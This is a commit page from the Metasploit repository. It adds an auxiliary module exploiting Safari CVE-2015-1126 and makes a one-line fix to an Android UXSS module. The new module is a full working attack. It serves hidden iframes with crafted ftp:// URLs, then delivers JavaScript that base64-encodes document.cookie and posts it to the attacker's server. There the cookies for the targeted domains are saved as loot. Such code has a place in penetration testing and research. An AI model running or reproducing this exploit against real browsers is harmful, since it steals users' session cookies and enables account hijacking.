Skip to content

Commit f762873

Browse files
committed
Land rapid7#5192, @joevennix's module for Safari CVE-2015-1126
* Module to profit cross domain vulnerability on safari
2 parents aa4489d + e2eaff6 commit f762873

File tree

2 files changed

+262
-1
lines changed

2 files changed

+262
-1
lines changed

modules/auxiliary/gather/android_object_tag_webview_uxss.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ def collect_data(request)
117117
begin
118118
response = JSON.parse(request.body)
119119
rescue JSON::ParserError
120-
print_bad "Invalid JSON request."
120+
print_error "Invalid JSON request."
121121
else
122122
url = response['url']
123123
if response && url
Lines changed: 261 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,261 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/service_manager'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::FtpServer
12+
include Msf::Auxiliary::Report
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft',
17+
'Description' => %q{
18+
A vulnerability exists in versions of OSX/iOS/Windows Safari released
19+
before April 8, 2015 that allows the non-HTTPOnly cookies of any
20+
domain to be stolen.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => [
24+
'Jouko Pynnonen', # Initial discovery and disclosure
25+
'joev', # msf module
26+
],
27+
'References' => [
28+
[ 'CVE', '2015-1126' ],
29+
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Apr/30' ]
30+
],
31+
'Actions' => [ [ 'WebServer' ] ],
32+
'PassiveActions' => [ 'WebServer' ],
33+
'DefaultAction' => 'WebServer',
34+
'DisclosureDate' => 'Apr 8 2015'
35+
))
36+
37+
register_options([
38+
OptString.new('URIPATH', [false, 'The URI to use for this exploit (default is random)']),
39+
OptPort.new('SRVPORT', [true, 'The local port to use for the FTP server', 5555 ]),
40+
OptPort.new('HTTPPORT', [true, 'The HTTP server port', 8080]),
41+
OptString.new('TARGET_DOMAINS', [
42+
true,
43+
'The comma-separated list of domains to steal non-HTTPOnly cookies from.',
44+
'apple.com,example.com'
45+
])
46+
], self.class )
47+
end
48+
49+
50+
#
51+
# Start the FTP and HTTP server
52+
#
53+
def run
54+
start_service
55+
print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")
56+
start_http
57+
@http_service.wait
58+
end
59+
60+
61+
#
62+
# Handle the HTTP request and return a response. Code borrowed from:
63+
# msf/core/exploit/http/server.rb
64+
#
65+
def start_http(opts={})
66+
# Ensture all dependencies are present before initializing HTTP
67+
use_zlib
68+
69+
comm = datastore['ListenerComm']
70+
if comm.to_s == 'local'
71+
comm = ::Rex::Socket::Comm::Local
72+
else
73+
comm = nil
74+
end
75+
76+
# Default the server host / port
77+
opts = {
78+
'ServerHost' => datastore['SRVHOST'],
79+
'ServerPort' => datastore['HTTPPORT'],
80+
'Comm' => comm
81+
}.update(opts)
82+
83+
# Start a new HTTP server
84+
@http_service = Rex::ServiceManager.start(
85+
Rex::Proto::Http::Server,
86+
opts['ServerPort'].to_i,
87+
opts['ServerHost'],
88+
datastore['SSL'],
89+
{
90+
'Msf' => framework,
91+
'MsfExploit' => self,
92+
},
93+
opts['Comm'],
94+
datastore['SSLCert']
95+
)
96+
97+
@http_service.server_name = datastore['HTTP::server_name']
98+
99+
# Default the procedure of the URI to on_request_uri if one isn't
100+
# provided.
101+
uopts = {
102+
'Proc' => Proc.new { |cli, req|
103+
on_request_uri(cli, req)
104+
},
105+
'Path' => resource_uri
106+
}.update(opts['Uri'] || {})
107+
108+
proto = (datastore['SSL'] ? 'https' : 'http')
109+
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
110+
111+
if opts['ServerHost'] == '0.0.0.0'
112+
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
113+
end
114+
115+
# Add path to resource
116+
@service_path = uopts['Path']
117+
@http_service.add_resource(uopts['Path'], uopts)
118+
end
119+
120+
#
121+
# Lookup the right address for the client
122+
#
123+
def lookup_lhost(c=nil)
124+
# Get the source address
125+
if datastore['SRVHOST'] == '0.0.0.0'
126+
Rex::Socket.source_address( c || '50.50.50.50')
127+
else
128+
datastore['SRVHOST']
129+
end
130+
end
131+
132+
#
133+
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
134+
#
135+
def on_client_command_retr(c, arg)
136+
conn = establish_data_connection(c)
137+
unless conn
138+
c.put("425 can't build data connection\r\n")
139+
return
140+
end
141+
142+
print_status('Connection for file transfer accepted')
143+
c.put("150 Connection accepted\r\n")
144+
145+
# Send out payload
146+
conn.put(exploit_html)
147+
c.put("226 Transfer complete.\r\n")
148+
conn.close
149+
end
150+
151+
#
152+
# Kill HTTP/FTP (shut them down and clear resources)
153+
#
154+
def cleanup
155+
super
156+
157+
# clear my resource, deregister ref, stop/close the HTTP socket
158+
begin
159+
@http_service.remove_resource(@uri_path)
160+
@http_service.deref
161+
@http_service.stop
162+
@http_service.close
163+
@http_service = nil
164+
rescue
165+
end
166+
end
167+
168+
169+
#
170+
# Ensures that gzip can be used. If not, an exception is generated. The
171+
# exception is only raised if the DisableGzip advanced option has not been
172+
# set.
173+
#
174+
def use_zlib
175+
unless Rex::Text.zlib_present? || datastore['HTTP::compression'] == false
176+
fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
177+
end
178+
end
179+
180+
181+
#
182+
# Returns the configured (or random, if not configured) URI path
183+
#
184+
def resource_uri
185+
return @uri_path if @uri_path
186+
187+
@uri_path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
188+
@uri_path = '/' + @uri_path if @uri_path !~ /^\//
189+
@uri_path
190+
end
191+
192+
193+
#
194+
# Handle HTTP requets and responses
195+
#
196+
def on_request_uri(cli, request)
197+
if request.method.downcase == 'post'
198+
json = JSON.parse(request.body)
199+
domain = json['domain']
200+
cookie = Rex::Text.decode_base64(json['p']).to_s
201+
if cookie.length == 0
202+
print_error("#{cli.peerhost}: No cookies found for #{domain}")
203+
else
204+
file = store_loot(
205+
"cookie_#{domain}", 'text/plain', cli.peerhost, cookie, 'cookie', 'Stolen cookies'
206+
)
207+
print_good("#{cli.peerhost}: Cookies stolen for #{domain} (#{cookie.bytes.length} bytes): ")
208+
print_good(file)
209+
end
210+
send_response(cli, 200, 'OK', '')
211+
else
212+
domains = datastore['TARGET_DOMAINS'].split(',')
213+
iframes = domains.map do |domain|
214+
%Q|<iframe style='position:fixed;top:-99999px;left:-99999px;height:0;width:0;'
215+
src='ftp://user%40#{lookup_lhost}%3A#{datastore['SRVPORT']}%2Findex.html%23@#{domain}/'>
216+
</iframe>|
217+
end
218+
219+
html = <<-HTML
220+
<html>
221+
<body>
222+
#{iframes.join}
223+
</body>
224+
</html>
225+
HTML
226+
227+
send_response(cli, 200, 'OK', html)
228+
end
229+
end
230+
231+
#
232+
# Create an HTTP response and then send it
233+
#
234+
def send_response(cli, code, message='OK', html='')
235+
proto = Rex::Proto::Http::DefaultProtocol
236+
res = Rex::Proto::Http::Response.new(code, message, proto)
237+
res['Content-Type'] = 'text/html'
238+
res.body = html
239+
240+
cli.send_response(res)
241+
end
242+
243+
def exploit_html
244+
<<-HTML
245+
<html><body>
246+
<script>
247+
var p = window.btoa(document.cookie);
248+
var x = new XMLHttpRequest();
249+
x.open('POST', "http://#{lookup_lhost}:#{datastore['HTTPPORT']}#{resource_uri}")
250+
x.setRequestHeader('Content-type', 'text/plain');
251+
x.send(JSON.stringify({p: p, domain: document.domain}));
252+
</script>
253+
</body></html>
254+
HTML
255+
end
256+
257+
def grab_key
258+
@grab_key ||= Rex::Text.rand_text_alphanumeric(8)
259+
end
260+
261+
end

0 commit comments

Comments
 (0)